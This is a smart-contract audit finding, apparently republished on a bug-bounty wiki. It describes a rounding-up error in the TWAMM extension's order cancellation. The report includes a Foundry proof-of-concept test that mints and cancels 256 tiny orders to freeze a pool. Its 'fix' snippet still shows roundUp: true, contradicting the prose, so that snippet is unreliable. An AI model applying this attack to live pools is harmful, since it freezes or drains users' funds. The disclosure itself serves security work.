Wrong rounding direction in DurationRemaining leads to value loss from TWAMM extension and Temporarily Freezing of a Pool
The TWAMM extension rounds up the remaining sell amount when a user cancels an order, over-refunding by 1 wei per cancellation. An attacker can create many small orders and cancel them to accumulate a debt that freezes the pool or, in a self-created pool, steal small amounts.
Submitted by jonah1005
Finding description and impact
Root cause
The TWAMM extension contains a critical rounding error in the handleForwardData function. The issue stems from rounding logic at lines 305-312:
uint256 amountRequired = computeAmountFromSaleRate({
saleRate: saleRateNext,
duration: durationRemaining,
roundUp: true
});
uint256 remainingSellAmount = computeAmountFromSaleRate({
saleRate: saleRate,
duration: durationRemaining,
roundUp: true // Should be false
});
Using roundUp: true for remainingSellAmount causes the protocol to over-refund users by rounding up the amount that should be returned.
Even though the swap amount is rounding down at TWAMM.sol#L429-L437 when the extension does the swap and the amount required is rounded up when users update the order. The exploiter can split one order into multiple orders, so the amount calculated from totalSaleRate would not lose value from rounding up while the extension mistakenly over-refunds a small order.
In the provided POC, the exploiter creates 256 small orders and removes them all before they expire. While the exploiters can not get any refund because of the withdrawal fees, the extension loses 255 wei of token creating a 255 debt. This debt would further DOS the whole pool when the next TWAMM order is executed.
Impact
Cumulative Rounding Error Accumulation: An attacker can exploit this by creating many small orders and canceling them before the orders expire. Each cancellation causes 1 wei over-refund. There are two attack scenarios:
- The pool can be frozen if there’s not enough of a saved balance to do the trade. Any interaction to the pool can be frozen. If the exploiter attacks the pool during market turbulence, liquidity providers can incur economic loss.
- An attacker may create a new pool with only themselves as the liquidity provider. For every interaction to the pool, it can steal 1 wei of the token. Assume there’s a high value low-decimals tokens, the gas cost of the attack would be cheaper than the profit. For example, 1 satoshi of BTC is around 0.001 USD. The gas cost is expected to be lower on a cheaper chain.
The issue leads to economic profit attacks on certain chains or a temporary DOS in most settings. This should be a medium-risk issue.
Recommended Mitigation Steps
Change lines 311-312 to use roundUp: false when calculating the remaining sell amount:
// src/extensions/TWAMM.sol line 312
uint256 remainingSellAmount =
computeAmountFromSaleRate({saleRate: saleRate, duration: durationRemaining, roundUp: true});
Proof of Concept
The test function should be located at Orders.t.sol.
DecreaseSaleRate would revert at the last few ones since the extension does not own enough tokens.
Demonstration from test_rounding_error_leads_DOS:
- Attacker creates 256 small orders
- Cancels all 256 orders before the orders expire
- Each cancellation over-refunds by ~1 token due to rounding up. These extra refunds would go to lp of the pools.
- The pool would revert when executing the next order.
Code
// SPDX-License-Identifier: ekubo-license-v1.eth
pragma solidity >=0.8.30;
import {PoolKey} from "../src/types/poolKey.sol";
import {PoolId} from "../src/types/poolId.sol";
import {SqrtRatio} from "../src/types/sqrtRatio.sol";
import {MIN_TICK, MAX_TICK} from "../src/math/constants.sol";
import {MIN_SQRT_RATIO} from "../src/types/sqrtRatio.sol";
import {CoreLib} from "../src/libraries/CoreLib.sol";
import {TWAMMLib} from "../src/libraries/TWAMMLib.sol";
import {Orders} from "../src/Orders.sol";
import {IOrders} from "../src/interfaces/IOrders.sol";
import {BaseTWAMMTest} from "./extensions/TWAMM.t.sol";
import {ITWAMM, OrderKey} from "../src/interfaces/extensions/ITWAMM.sol";
import {createOrderConfig} from "../src/types/orderConfig.sol";
import {ICore} from "../src/interfaces/ICore.sol";
import {console} from "forge-std/console.sol";
abstract contract BaseOrdersTest is BaseTWAMMTest {
uint32 internal constant MIN_TWAMM_DURATION = 256;
uint32 internal constant HALF_MIN_TWAMM_DURATION = MIN_TWAMM_DURATION / 2;
Orders internal orders;
function setUp() public virtual override {
BaseTWAMMTest.setUp();
orders = new Orders(core, twamm, owner);
}
}
contract OrdersTest is BaseOrdersTest {
using CoreLib for *;
using TWAMMLib for *;
function test_rounding_error_leads_DOS() public {
vm.warp(1);
uint64 fee = uint64((uint256(5) << 64) / 100);
int32 tick = 0;
PoolKey memory poolKey = createTwammPool({fee: fee, tick: tick});
createPosition(poolKey, MIN_TICK, MAX_TICK, 10000, 10000);
token0.approve(address(orders), type(uint256).max);
OrderKey memory key = OrderKey({
token0: poolKey.token0,
token1: poolKey.token1,
config: createOrderConfig({_fee: fee, _isToken1: false, _startTime: 256, _endTime: 512})
});
// We provided another order so the refunding transactions can be executed.
OrderKey memory key2 = OrderKey({
token0: poolKey.token0,
token1: poolKey.token1,
config: createOrderConfig({_fee: fee, _isToken1: false, _startTime: 512, _endTime: 1024})
});
uint[] memory ids = new uint[](256);
uint112 saleRate;
for(uint i = 0; i < ids.length; i++) {
(ids[i], saleRate) = orders.mintAndIncreaseSellAmount(key, 1, 28633115306);
}
// swap 1 tokens every seconds.
(uint order2Id, ) = orders.mintAndIncreaseSellAmount(key2, 256, 28633115306);
vm.warp(511);
for(uint i = 0; i < ids.length; i++) {
orders.decreaseSaleRate(ids[i], key, saleRate, address(this));
}
advanceTime(2000);
// swap
// Any intheraction to the pool would revert as the extension does not have enough saved balance.
// The extension would try to execute TWAP order of order 2 (KEY2).
// The pool would be frozen until admin intervention. ()
token0.approve(address(router), type(uint256).max);
vm.expectRevert(ICore.SavedBalanceOverflow.selector);
router.swap(poolKey, false, 100, MIN_SQRT_RATIO, 0, type(int256).min, address(this));
}
}
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
The accumulated over-refunds can temporarily freeze the pool (denial of service) or, in a pool where the attacker is the only liquidity provider, allow stealing 1 wei per interaction; withdrawal fees may prevent direct profit in some cases.
What the attacker needed
Ability to create and cancel orders; sufficient token balance for orders
The fix
The code should be fixed by changing the calculation of remainingSellAmount to use roundUp: false.
How it was found
- Attacker creates 256 small orders
- Cancels all 256 orders before the orders expire
- Each cancellation over-refunds by ~1 token due to rounding up
- The pool reverts when executing the next order
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you cancel an order, the system calculates how much of your original deposit to return. A rounding mistake makes it return slightly more than it should, one tiny unit at a time. By repeating this many times, an attacker can drain a small amount or make the pool unable to process trades.
What is Smart contracts?
Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.